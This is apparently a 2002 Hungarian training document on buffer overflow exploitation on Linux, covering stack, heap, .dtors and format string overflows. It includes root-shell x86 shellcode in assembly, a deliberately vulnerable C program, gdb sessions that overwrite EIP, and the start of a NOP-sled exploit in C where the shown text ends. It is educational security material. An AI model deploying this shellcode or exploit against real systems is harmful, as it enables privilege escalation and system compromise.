Tartalmi kivonat
O v er f l ow t ec h nik ák SaveAs O k ta t á s i A n y a g overflow technikák Készült: 2002 március 1. A dokumentum a fedőlappal együtt 40 számozott oldalt tartalmaz. O v er f l ow 1. TARTALOMJEGYZÉK OKTATÁSI ANYAG 1 1. TARTALOMJEGYZÉK 2 2. BEVEZETŐ 4 2.1 Célkitűzés 4 2.2 Adatbiztonságról általában 4 2.3 Az overflow technológiák osztályozása 5 2.4 Történelmi áttekintés 6 3. OVERFLOW ETIKUSAN ÉS ETIKÁTLANUL 7 3.1 Az etikátlan felhasználás 7 3.2 Az etikus felhasználás 8 4. ALAPOK 9 4.1 Memóriakezelés 4.11 Stack 4.12 Heap 9 10 11 4.2 Regiszterek 11 4.3 Processzek (feladatok) felépítése 12 4.4 Processzek (feladatok) futása 12 4.5 Format stringek 13 5. SHELL KÓDOK 14 5.1 5.11 14 14 6. 17 OVERFLOW TÍPUSOK 6.1 Stack Overflow 6.11 Frame Pointer Concept 6.12 Példa program 6.13 Védekezés SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel
/ Fax: (1) 2221222 17 17 17 21 2. oldal, összesen: 40 O v er f l ow 6.2 Heap Overflow 6.21 A Heap felülírásának módja 6.22 Példa program 6.23 A hiba kihasználása 6.24 Védekezés 22 22 23 24 27 6.3 .dtors Overflow 6.31 A dtors felülírása 6.32 Példa program 6.33 A hiba kihasználása 6.34 Védekezés 27 27 29 29 31 6.4 Format String overflow 6.41 Példa program 6.42 A hiba kihasználása 6.43 Védekezés 32 32 32 36 6.5 Egyéb lehetőségek 6.51 Felülírható memóriaterületek 6.52 Védekezés 37 37 38 7. FELHASZNÁLT IRODALOM 39 8. EGYÉB 40 8.1 Jelen dokumentum közlése 8.11 Az információk minőségéről 40 40 8.2 CopyRight 8.21 Kizárólagos jogok Hasznosítás és többszörözés Nyilvánossághoz való közvetítés és idézés Oktatás Minden más esetben 40 40 40 40 40 40 SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 3. oldal, összesen: 40 O v er f l ow 2.
BEVEZETŐ 2.1 Célkitűzés Jelen tanulmány célja, hogy a biztonságtechnikai fejlesztésekkel, kutatással, megvalósítással foglalkozó szakembereknek bemutasson egy olyan technológiát, technológiai hátteret, melynek megértésével szakmai feladataikat jobban elláthassák, valamint a potenciális veszélyforrásokat hatékonyabban, gyorsabban felismerjék. A dokumentum feltételez minimális rendszerismeretet, C és Assembly programozási tudást, ugyanakkor a technológia megértéséhez nem elengedhetetlenül szükségesek a fentiek. A példaprogramok Linux operációs rendszeren készültek. A dokumentumnak nem célja, hogy teljes és átfogó ismereteket nyújtson az Overflow típusú hibák kihasználásához, valamint ezt a veszélyes technológiát megtanítsa, de célja, hogy megismertesse az érdeklődőkkel minden esetben egy - kiragadott, egyszerű, azonban a valóságban ritkán, vagy egyáltalán nem előforduló - példát alapul véve. 2.2
Adatbiztonságról általában Napjaink egyik fenyegető kihívása, hogy az adatainkat, szolgáltatásainkat a lehető legnagyobb biztonságba tudjuk adatvédelmi és rendszerbiztonsági – üzemeltetési oldalról egyaránt. Ez nem csak erkölcsi fenyegetettséget, de egyre inkább jól megfogalmazható üzleti érdeket is tartalmaz. Fontos, hogy futtatott alkalmazásaink nem csak funkcionalitásukban, de biztonsági szolgáltatásaikban is betartsák az elvárható maximumot és megfeleljenek a nemzetközi standardoknak. A biztonsági kutatások publikált eredményeinek köszönhetően egyre szűkülnek a fehér foltok, mégsem mondhatjuk, hogy az alkalmazások, a futtató környezetek hibátlanok. Gondoljunk bele! Pár évvel ezelőtt teljesen biztonságos módszernek számított a „telnet” protokollon keresztüli távoli menedzsment, míg valaki rá nem mutatott, hogy a továbbított adatok – a jelszavakkal együtt – lehallgathatóak (sniffelhetőek). Kiderültek olyan
hibaforrások, melyekkel régen, az eredeti koncepcióban nem is kellett foglalkozni, az alkalmazott környezetben elő sem fordulhattak. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 4. oldal, összesen: 40 O v er f l ow Helyezzük most a hangsúlyt a programozói hibák kihasználására! A biztonságos fejlesztő eszközök, biztonságos (minősített) programozáshoz szükséges standardok rendelkezésre állnak. Komoly hozzáférési modelleket is kidolgoztak az adatok védelme érdekében. Nem garantálható ugyanakkor, hogy ezek teljes betartása esetén sem maradnak a programsorok között olyan elemek, amelyek megfelelő paraméterezéssel a programot illegális működésre bírják. A programok (processzek, folyamatok) működése, felépítése történelmi, úgy is mondhatnánk architektúrális örökség. Nem csak az alkalmazásoknak, hanem a futtató környezetnek is együtt kell élni vele.
Gondoljunk csak az Intel processzorok néhai „f00f”1 hibájára. Egy-egy ilyen rejtett, de kihasználható hibát nem csak az alacsony rétegen futó mikro kódok, de az alkalmazások is tartalmazhatnak, és sok esetben egy rosszul felépített logikai csapda, rosszul paraméterezett utasítás is lehet egy kihasználható hiba forrása. 2.3 Az overflow technológiák osztályozása A legtipikusabb programozói hiba által indukált kihasználható támadási felület az overflow lehetősége. Ezeknek a hibáknak a gyökere minden esetben a nem megfelelően védett vagy mozgatott memória területekben keresendő. Maga az overflow szó is felülírást, felülcsordulást jelent. A technológia nem mai keltezésű, csak a vállfajai lehetnek újak. Általánosságban elmondhatjuk, hogy ezek kihasználhatósága nem minden esetben adott. Egy overflow típusú hibáról csak akkor mondhatjuk el, hogy kihasználható – és a kihasználásának van is értelme - ha a következő
kritériumok is teljesülnek: a Az alkalmazás egy belső változója felett részleges, vagy teljes vezérlést lehet szerezni és ennek segítségével a deklarált jogokat növelni. a Az alkalmazást illegális művelet végrehajtására lehet bírni. a Az alkalmazás olyan jogokkal rendelkezik megszerzésével a rendszer kompromittálható. futásidőben, amelynek a Az alkalmazás feletti kontroll megszerzésével dedikált jogosultságok növelhetőek. a Az alkalmazás segítségével meghatározható műveletsor indukálható a jövőben. 1 Az intel processzorok tartalmaztak egy „f00f bug” néven elhíresült hibát. A hiba lényege az volt, hogy a processzor az „F0 0F C7 C8” utasítás-szekvencia dekódolásakor a LOCK CMPXCHG8B EAX műveletsort kapta, amelyből a CMPXCHG8B utasítás 64 bites összehasonlítása az EDX:EAX tartalmának és egy memóriaterületnek. Mivel létezik olyan EDX:EAX tartalom, amely nem a memória egy részére mutat, így a processzor
illegális utasítást generál. Ugyanakkor mivel az utasítás LOCK előtaggal rendelkezik, a processzor mikro kódja feloldhatatlan holtpontba ütközik, nem tud tovább funkcionálni. Bővebben: http://x86.ddjcom/errata/dec97/f00fbughtm SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 5. oldal, összesen: 40 O v er f l ow Megállapíthatjuk, hogy egy hiba kihasználhatósága nagyban függ a hiba és a hibát tartalmazó folyamat környezetétől. Nem mondhatjuk ugyanakkor, hogy egy hiba megléte, de a környezet hiányossága mellett a hiba nem biztonsági rés. A folyamatos kutatások eredményei alátámasztják azt a tényt, hogy a hibák jelen tudás szerinti kihasználhatatlansága nem nyújthat garanciát mindörökké. 2.4 Történelmi áttekintés Az első overflow típusú hiba felfedezése 1980 környékére datálódik, a szakirodalom ettől az évtől ismeri a Stack Overflow fogalmát. A
veszély realizálódása azonban 1995-ig váratott magára. Az akkoriban sokaknak újnak számító technológia végigsöpört a világ biztonsági laborjain. A legtöbbet hivatkozott publikációt 1996-ban Aleph One publikálta2 „Smashing The Stack For Fun and Profit”3 címen, majd ezt követték 1997-ben „How to Write Buffer Overflows”4 címen Murge, és „Stack Smashing Vulnerabilities in the UNIX Operating System”5 címen Nathan P. Smith, majd 1998-ban „The Tao of Windows Buffer Overflows”6 címen DilDog publikációi. Ezek a tanulmányok mind a Stack Overflow hibákról értekeztek. A következő áttörést 1998 környékén a Heap Overflow típusú hibák jelentették. Az első tanulmányok egyikét a w00w00 Security Team publikálta 1999-ben „w00w00 on Heap Overflows”7 címen. Ez a technológia kicsit bonyolultabb volt, mint a Buffer Overflow, hiszen a különböző memóriacímek futásidőben kerültek meghatározásra, így sok esetben jelentősen
megnehezítve a kihasználást, és megkönnyítve a felderítést. 1999 végén aztán egy ELF szerkezeti hibát kihasználva felmerült a „.dtors” típusú overflow lehetősége, amelyről Juan M Bello Rivas adott ki 2000 elején egy tanulmányt „Overwriting the .dtors section”8 címen. A következő áttörést a 2000 végén felfedezett Format String Overflow technika jelentette, amely ismét rengeteg fejtörést okozott a fejlesztőknek. A témában a TESO Security Team 2001 elején közölt egy publikációt „Exploiting Format String Vulnerabilities”9 címen. 2 Az Aleph One által kiadott tanulmány akkora sikernek örvendett, hogy nagyon sok publikált exploit kódban a mai napig az általa írt Shell kód található. 3 http://www.cseogiedu/DISC/projects/immunix/StackGuard/profithtml 4 http://www.l0phtcom/advisories/buferohtml 5 http://destroy.net/~nate/machines/security/nate-bufferps 6 http://www.cultdeadcowcom/cDc files/cDc-351/ 7
http://www.w00w00org/files/articles/heaptuttxt 8 http://julianor.tripodcom/dtorstxt 9 http://julianor.tripodcom/teso-fs1-1pdf SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 6. oldal, összesen: 40 O v er f l ow 3. OVERFLOW ETIKUSAN ÉS ETIKÁTLANUL Már az eddigiekből is kiderül, az overflow technológia használata kétélű fegyver. Használata, kihasználása csak azon múlik, aki alkalmazza. A következőkben látni fogjuk, hogy a kutatás mellett mennyire fontos szerepe van a védekezésben, és a bizonyítási eljárásokban éppúgy, mint a kód-, rendszer átvizsgálások során, és mekkora veszélyt jelenthetnek egy nem kontrollált támadás során. 3.1 Az etikátlan felhasználás A digitális társadalom fejlődésével mind fokozottabb veszélynek vannak kitéve azok az alkalmazások, szolgáltatások, amelyeknek kompromittálódása erkölcsi, anyagi kárt jelenteke mind az
üzemeltetőknek, mind a felhasználóknak. A biztonsági hiányosságokat kihasználó felhasználó, rosszindulatú támadó sok esetben alkalmazza az overflow technológiák egyikét. Egy rosszul, vagy csak hiányosan védett rendszerben végtelen károkat képes okozni egy ilyen hiányosság. Könnyű belátni, hogy egy teljesen digitális társadalomban – ahol a személyes információktól elkezdve a szociális hálót működtető infrastruktúrák vezérlése, számlainformációk, sőt, gazdasági döntéseket elősegítő adatok is digitálisan vannak tárolva – mekkora gondot okozhat ezen adatoknak a sérülése. De az etikátlan felhasználás nem csak adatok sérülését jelenti. Az adatlopás, adatmanipulálás, jogosulatlan hozzáférés napjaink problémája is. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 7. oldal, összesen: 40 O v er f l ow 3.2 Az etikus felhasználás A biztonsági
fejlesztések, kutatások, auditok fontos eleme a tesztelés, és a bizonyítás. Egy biztonsági átvizsgálásnál elengedhetetlenül fontos, hogy felismerjük, és analizáljuk az esetleges hibákat, a hibák kihasználásának lehetőségeit. A kijelentéseinket alá is kell támasztani A kód audit vagy egy penetration test során talált overflow típusú hibának a kihasználására írt minta alkalmazást hívjuk „proof-of-concept” kódnak. Ez a kód szolgál arra, hogy bebizonyítsuk a hiba létét, előremutat a hiba kihasználhatósági területeire, de nem tartalmaz olyan részt, amellyel kárt lehet okozni. Sok esetben a publikált „proof-of-concept”10 kódok hibásak annak elkerülésére, hogy a kód illetéktelen kézbe kerülése sem jelentsen veszélyt az információs társadalomra. Ezek a kódok szolgálnak az átvizsgálási jegyzőkönyvek bizonyítékául. 10 Népszerű biztonsági réseket publikáló lista a Bugtraq néven elhíresült – a
Securityfocus.com által fenntartott – levelezőlista és a – szinten a Securityfocus.com által fenntartott – SecurityFocus biztonsági portál (http://wwwsecurityfocuscom) Az itt előforduló publikációk olykor heves vitákat váltanak ki a közösségen belül. Ezek a viták, és a publikációk veszélyessége vezettek olyan dekrétumok bevezetéséhez, mint a „Full Disclosure” és a „Non Disclosure”. A „Full Disclosure” (Teljes közlés) irányzat támogatói a hibák publikálása mellett, míg a „Non Disclosure” (Hallgatás) irányzat támogatói a hibák titokban tartása mellett foglalnak állást többször egy irányzaton belül is különböző okokból. A „Full Disclosure” mellett foglalt állást például a SecurityFocuscom (http://online.securityfocuscom/news/238) A „Non Disclosure” mellett foglalt állást például a Microsoft (http://online.securityfocuscom/news/277) sőt, egy alternatív hacker csoport is (http://antisecurityis)
Érdekes látni a választás okai közötti különbséget. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 8. oldal, összesen: 40 O v er f l ow 4. 4.1 ALAPOK Memóriakezelés A folyamatok futásuk során kezelt, vagy futás közben generálódott adataik kezelésére memóriát használnak. A memória kezelése többféle módon valósulhat meg. A klasszikus memóriakezelési x86 modellben három, egymástól jól elkülönülő memóriaterületet definiáltak: a Stack szegmens a Kód szegmens a Adat szegmens Az idők során az adatszegmens több külön részre kellett bontani, így a mai modellekben az adat szegmens vagy nem is jelentkezik (a kód szegmens része), vagy a statikusan definiált adatok tárolására használják. Így különvált például az inicializált és a nem inicializált, de a program futásakor létező adatok tárolására szolgáló memóriaterület és a dinamikusan allokált
memóriaterület is (.bss, data, heap) A memória használata körülbelül így néz ki: K ö r n y e z e ti v á lto z ó k , p a ra m é te re k S ta c k U ser S ta c k F ra m e B S S D a ta K ód H eap SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 9. oldal, összesen: 40 O v er f l ow Kód #include <stdio.h> #include <stdlib.h> int a = 1; int b; char *c; void function(void) { int d = 1; int e; char *f; c=(char*)malloc(10); } // .data // .bss // .bss // stack // stack // stack // heap 4.11 Stack A Stack – vagy verem – az a memóriaterület, ahova a rendszer az átmeneti adatokat tárolja. A Stack használata LIFO metódussal történik, azaz, ami utoljára belekerült, az fog először kikerülni. A használatának szemléletére legjobban egy kalapot lehet használni: F olyam at S tack P ointer S tack legfelső elem e A folyamatok ebben a memóriaterületben tárolják a
paramétereket, vagy azok címeit, és a különböző ugrási táblázatokat, rendszerváltozókat. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 10. oldal, összesen: 40 O v er f l ow 4.12 Heap A Heap – vagy halom – memóriaterület a dinamikusan definiált változók tárolására szolgál. Ebben a memóriaterületben foglal helyet magának az összes dinamikus változó futásidőben a malloc() realloc() és egyéb, erre szolgáló utasítások segítségével. 4.2 Regiszterek A folyamatok futásuk során a magas szintű nyelveken definiált változókat lefordítják memóriacímkékre, és azokat különböző regiszterekben tárolják. Ezeket a regisztereket címezhetjük 8, 16 és 32 bites címtartományban is. Azonban nem csak felhasználói regisztereket használ egy rendszer. Regiszterekben tárolja a programok futásával kapcsolatos információkat is. Lássuk, milyen regisztereket
használ a rendszer: Regiszter neve Használat Típus [%al:%ah], [%bl:%bh], [%cl:%ch], [%dl:%dh] 8 bites általános célú regiszter Általános %ax, %bx, %cx,%dx 16 bites általános célú regiszter (LOW-END) Általános %eax, %ebx, %ecx, %edx 32 bites áltatlános célú regiszter Általános %ebp 32 biter Frame Pointer Pointer %esp 32 bites Stack Pointer Pointer %bp 16 bites Frame Pointer (LOW-END) Pointer %sp 16 bites Stack Pointer (LOW-END) Pointer %cs Kód szegmens Segment %ds, %es, %fs, %gs Adat szegmens Segment %ss Stack szegmens Segment %cr0, %cr2, %cr3 Processz kontroll Controll %db0, %db1, %db2, %db3, %db6, %db7 Nyomkövető regiszter Debug %tr6, %tr7 Teszt regiszter Test %st - %st(0), %st(1), %st(2), %st(3), %st(4), %st(5), %st(6), %st(7) Lebegőpontos regiszterek %eip Aktuális utasításra mutató regiszter SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222
Float Stack PSW 11. oldal, összesen: 40 O v er f l ow 4.3 Processzek (feladatok) felépítése Minden folyamatnak kell, hogy legyen egy szerkezete ahhoz, hogy az operációs rendszer azt értelmezni tudja. Minden folyamat fordításkor megkapja azokat a területeket, amelyek a későbbiekben fontos lehet a működése során. A teljesség igénye nélkül nézzük meg egy ELF bináris fontosabb területeit: 4.4 .interp Elérési út a program interpreteréhez .hash Szimbólum hash tábla .dynsym Dinamikusan Linkelt szimbólum tábla .dynstr A dinamikus linkeléshez szükséges stringek .init Inicializáló kód .plt Függvény link tábla .text Futtathatósági instrukciók .fini A folyamat futásának végén lefutó kód .rodata Csak olvasható adat .data Inicializált adatok, amik jelen vannak fordításkor .got Általános OFFSET tábla .dynamic Információk a dinamikus fordításhoz .bss Nem inicializált adatok .stabstr A szimbólum
táblához rendelt nevek .comment Megjegyzések (fordító, verzió kontroll) .note Fájl megjegyzések .ctors Konstruktor .dtors Destruktor Processzek (feladatok) futása Ahogy az már az eddigiekből is kiderült, a folyamatok futása nem szekvenciális. Léteznek olyan utasítások, amelyek a futó kódot elágaztatják, elugratják, vagy megszakítják a futását. Ilyen utasítások a JMP (feltétel nélküli ugrás), JNZ, JNE (feltételes ugrások), vagy a CALL (szubrutin hívás). Az olyan speciális esetekben, mint a CALL szükség van egy visszatérési értékre is, hiszen a szekvenciális futás megszakadt ugyan, de az elágazás után vissza kell térni az eredeti feladathoz. A fenti probléma megoldására alakult ki a „Frame Pointer SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 12. oldal, összesen: 40 O v er f l ow Concept” (FPC) eljárás, melynek során a visszatérési
értéket a rendszer elhelyezi a Stack területen, majd a szubrutin visszatértekor onnét felveszi azt. Bővebben lásd a FPC leírásánál. A folyamatok futása során fontos egy regiszter értéke is. A rendszer a futás aktuális helyzetét a %EIP regiszterben tárolja Ez a regiszter csak olvasható. Fontos megjegyezni azt is, hogy ellentétben a kernel által használt memóriaterületekkel, a felhasználói memória nem folytonos. 4.5 Format stringek A folyamatoknak lehetősége van futásidőben formázott kimenetet biztosítani a felhasználók felé a program belső változóiról. Erre a feladatra használjuk a formázó karaktersorozatokat. A formázó karakterek segítségével lehetőségünk van ugyanakkor speciális konverziók elvégzésére is, mint például numerikus értékek karaktersorozattá alakítása, számrendszerváltás, vagy akár numerikus értékek kaszttolása11 is. A formázó karakterektől a következő táblázat ad rövid összefoglalót: Kód
Formátum %c Karakter %d Előjeles decimális szám %i Előjeles decimális szám %e Tudományos jelölése %f Lebegőpontos szám %o Előjel nélküli oktális %s Karakterlánc %u Előjel nélküli decimális szám %x Előjel nélküli hexadecimális szám %p Mutató megjelenítése (pointer) %n Integer mutató (ált. az eddig kiirt karakterek száma) %% % jel 11 Minden folyamatban a numerikus értékeknek kasztja – típusa – van. Ezek a típusok meghatározzák, hogy a szám hány biten, és milyen formában van tárolva. A legismertebb kasztok az int (16 bites egész), long int (32 bites egész), float (16 bites lebegő pontos), double (32 bites lebegőpontos), stb. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 13. oldal, összesen: 40 O v er f l ow 5. SHELL KÓDOK 5.1 5.11 Shell kódnak azt a bináris adatfolyamot nevezzük, amely megfelelő körülmények között
futásidőben egy folyamat részévé válik, és megfelelő körülmények között meghívva a támadó számára kívánatos cselekvéssort hajtja végre. Megírása hatalmas arhitekturális és programozói ismereteket igényel, hiszen meg kell felelni a hibás rendszer összes vélt vagy valós, tervezett vagy adott védelmi mechanizmusának. Tipikusnak mondható shell kód feladatok a következőek: a Program indítása (pl.: execve() függvény) a Könyvtár létrehozása (pl.: mkdir() függvény) a Fájl létrehozása (pl.: open(),close() függvények) a Fájl módosítása (pl.: open(),write(),read(),close() függvények) a Socket kezelés (pl.: bind(),connect(),listen() függvények) A kód futása érdekében a feladatok megoldására minden esetben rendszerhívásokat kell alkalmazni, hiszen a nem rendszerhívások címei nem ismertek. Nem alkalmazhatjuk tehát a „call” direktívát Figyelembe kell vennünk azt is, hogy a beinjektált shell kód konverziókon fog
keresztülmenni, amik során a kód nem, vagy csak kívánatos módon módosulhat. A kívánatos módosulás kiszámolását más néven „reverse engeenering-nek” is hívjuk. Vegyünk pár példát! A legegyszerűbb eset, a sima strcpy() másolása az injektált kódnak. Ebben az esetben a függvény ’ ’ termináló karakterig másolja a string tartalmát a cél memóriaterületre. Tehát elkerülendő, hogy a shell kód ilyen karakter szekvenciát tartalmazzon. Előfordulhat olyan speciális eset is, amelynek során csak minden 16 bites szó alsó bájt-ját tudjuk kontrollálni, és a felső bájt fix. Olyan eset is lehetséges, hogy a beinjektált szekvencia átesik egy karakterkonverzión, mely során kisbetűből nagybetű, illetve nagybetűből kisbetű lesz. Ennél a pontnál némely esetben nem csak az eltolódást kell figyelembe venni, hanem bele kell férni a szabvány ASCII karakterek által nyújtott operátor kódokba is. Bonyolultabb esetekben gyakran nyúlnak a
fejlesztők a vírusírást SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 14. oldal, összesen: 40 O v er f l ow idéző technológiákhoz, amely során egy eljárás segítségével a kívánt formára alakítják a szekvenciát, majd egy dekódoló eljárással bontják ki a kívánt formára. A sokkal rövidebb dekódoló eljárás természetesen megfelel a tesztelt rendszer követelményeinek. Esetünkben nem fogjuk túlbonyolítani a Shell kód követelményeit, és nem is használjuk ki minden lehetőségét. A példákban az egyetlen követelmény; nem tartalmazhat a kód ’ ’ szekvenciát. A tevékenység is elhanyagolható, be kell állítani a jogosultságokat (UID=0; EUID=0; GID=0; EGID=0), és el kell indítani egy programot. Tehát szükségünk lesz egy setreuid(), egy setregid() és egy execve() rendszerhívásra. A kód a paraméterek összeállítására a Stack memóriát használja, így
kikerülve a memóriacímek minimális ismeretének szükségességét is. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 15. oldal, összesen: 40 O v er f l ow Kód .text .align 4 .globl main .type main,@function main: pushl %ebp movl %esp,%ebp // SYS setreuid->setreuid(uid t ruid, uid t euid) // Proto: kernel/sys.c // %eax -> SYS call NR // %ebx -> uid t ruid // %ecx -> uid t euid subl %ebx,%ebx subl %ecx,%ecx xorl %eax,%eax movb $0xcb,%al int $0x80 // SYS setregid->setregid(gid t rgid, gid t egid) // Proto: kernel/sys.c // %eax -> SYS call NR // %ebx -> gid t rgid // %ecx -> gid t egid subl %ebx,%ebx subl %ecx,%ecx xorl %eax,%eax movb $0xcc,%al int $0x80 // Proto: arch/i386/kernel/process.c // %eax -> SYS call NR // %ebx -> char * filename; // %ecx -> const char *argv[]; // %edx -> const char *envp[]; // const char *envp[] = { NULL }; xorl %edx,%edx pushl %edx // the
string 2f 62 69 6e 2f 2f 73 68 // / b i n / / s h // ! reverse order ! pushl $0x68732f2f // char *filename = "/bin//sh"; pushl $0x6e69622f // const char *argv[] = { "/bin//sh","NULL" }; movl %esp,%ebx pushl %edx pushl %ebx movl %esp,%ecx leal 0xb(%edx),%eax int $0x80 ret Az itt felvázolt kódból a használathoz egy stringet, karaktersort kell generálnunk. Ezt a legkönnyebbek a kód lefordításával, majd vizsgálatával érhetjük el. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 16. oldal, összesen: 40 O v er f l ow 6. 6.1 OVERFLOW TÍPUSOK Stack Overflow 6.11 Frame Pointer Concept A folyamatok a futásuk során minden funkció hívásakor el kell, hogy tárolják a visszatérési értéket. Ezt az értéket a folyamatok a funkció hívásakor FPC használata esetén a Stack memóriaterületen helyezik el, és visszatéréskor onnét veszik fel. Könnyen belátható
tehát, hogy a koncepció alkalmazása mellett a Stack-en található visszatérési érték felülírásával a program futása felett kontroll szerezhető. Ezt a koncepciót az alkalmazások gyakran használják a futásidőben történő címmeghatározásra. A következő példaprogramban bemutatjuk, hogy a „main” eljárásból meghívott „function” eljárás felveszi egy „popl” utasítás segítségével a Stack-ről a visszatérési értéket, betölti azt a „%eax” regiszterbe, majd visszateszi a normális működés érdekében és visszatér a hívó eljárásba. Kód .text .align 4 .globl function .type function,@function function: popl %eax pushl %eax leave ret .globl main .type main,@function main: pushl %ebp movl %esp,%ebp subl $8,%esp call function leave ret 6.12 Példa program Amint az a fenti példában is látszik, a folyamatok megszakításakor a visszatérési érték a stack memóriaterületen helyezkedik el. Az eddigiekből az is látszik, hogy
létezik olyan változónak szóló memóriafoglalás, amely szintén ezen a területen helyezkedik el. A két feltételezésből egyértelműen következik, hogy amennyiben a változó felett nem teljes a kontroll, a futó programot hibás működésre lehet kényszeríteni. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 17. oldal, összesen: 40 O v er f l ow Az alábbi példaprogram egy ilyen esetet próbál vázolni. A paraméterként kapott változót öt bájtos memóriaterületre próbáljuk bemásolni úgy, hogy a kapott változó valódi hosszúságát nem ellenőrizzük. Kód #include <stdio.h> int main(int argc, char *argv) { char buf[5]; if(argc != 2) { printf("Usage: %s <param> ",argv[0]); return -1; } strcpy(buf,argv[1]); printf("Got: "); printf(buf); printf(" "); return 0; } A hiba kihasználásának érdekében egy rövid tesztelést kell végezni. A
tesztelés során megállapítjuk, hogy mekkora az a méret, amely a programban hibás, de általunk kontrollált működést idézhet elő, illetve meg kell vizsgálnunk, hogy melyik az a memóriacím, ahova be tudjuk illeszteni az általunk futtatandó kódot úgy, hogy valósan le is fusson. Minta $ gdb sample (gdb) b main Breakpoint 1 at 0x8048476: file sample.c, line 6 (gdb) r AAAAA Starting program: sample AAAAA Breakpoint 1, main (argc=2, argv=0xbffff724) at sample.c:6 6 if(argc != 2) { (gdb) x argv[1] 0xbffff8b7: 0x41414141 (gdb) x buf 0xbffff6b4: 0x4000ab50 [] $ ./sample `perl -e 'print "A"x16';` Got: AAAAAAAAAAAAAAAA segmentation fault (core dumped) ./sample `perl -e 'print "A"x16';` $ gdb sample core Program terminated with signal 11, Segmentation fault. Cannot access memory at address 0x400153b4 #0 0x41414141 in ?? () (gdb) info registers eip eip 0x41414141 0x41414141 SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft.
H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 18. oldal, összesen: 40 O v er f l ow A vizsgálat során megállapítottuk, hogy a hibát tartalmazó példa programba két memóriaterület is található, ahová beilleszthetjük a futtatandó kódunkat. Ez a két cím a „buf” és az „argv[1]” változók címe. Láttuk, hogy a sikeres felülíráshoz egy 16 bájt-os karaktersorozat elég, és így már felülírtuk a visszatérési értéket is, hiszen az EIP regiszter tartalmát fel tudtuk tölteni az „A” betű ASCII kódjával (0x41). Ezek után egy egyszerű kísérletet végezünk, hogy biztosak legyünk a hiba kihasználásának biztosságában. A kísérlet során 16 bájt-on (4 bájt-os mantisszával) a kívánt EIP értéket ismételjük és megvizsgáljuk az eredményt: Minta $ ./sample `perl -e 'print "xc3xf6xffxbf"x4;'` Got: Ăö˙żĂö˙żĂö˙żĂö˙ż segmentation fault (core dumped) ./sample `perl -e 'print
"xc3xf6xffxbf"x4;'` $ gdb sample core Program terminated with signal 11, Segmentation fault. 0x4003d306 in libc start main () from /lib/libc.so6 (gdb) info registers eip eip 0xbffff6c3 0xbffff6c3 (gdb) info registers ebp ebp 0xbffff6c3 0xbffff6c3 Láthatjuk, hogy a kapott paraméterek alapján a program futása megváltozott. A kívánt EIP értéket sikerült beállítani. Nincs tehát más dolgunk, mint hogy a megfelelő címre beillesszük a shell kódunkat. Ehhez a jobb megértés érdekében egy C programot fogunk használni. A programban a következő változókat használjuk a következő jelentéssel: a OFFSET - Az eltolási érték. Ennyi bájt szükséges ahhoz, hogy sikeresen felülírjuk az EIP értékét (mindig néggyel osztható szám, mivel a cím négy bájt hosszú), valamint ennyivel kell eltolnunk a rosszul kontrollált változó címéhez viszonyítva shell kód címét. a RET - A visszatérési cím, ahová a shell kódot beinjektáltuk a LEN -
Az a hossz, amelyet használni fogunk a paraméter hosszának. Ebbe a hosszba bele kell férnie az EIP felülírásához szükséges karakternek, valamint a shell kód hosszának is. a NOP - A NOP instrukciót jelentő processzorutasítás (Intel processzorokon 0x90). a Shell - Bináris kód amelynek vezérlést adva a kívánatos cselekvéssort hajtja végre. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 19. oldal, összesen: 40 O v er f l ow a Buffer - A paraméterkén átadott LEN hosszú karaktersorozat, amely tartalmazza OFFSET hosszúságban a RET értékét, a végén a Shell értékét. A kieső részeken NOP értékkel van feltöltve. Kód #include <stdlib.h> #include <stdio.h> #include <unistd.h> #define NOP 0x90 #define RET 0xbffff6c3 #define LEN 1024 #define OFFSET 16 char shell[] = "x29xdb" "x29xc9" "x31xc0" "xb0xcb" "xcdx80"
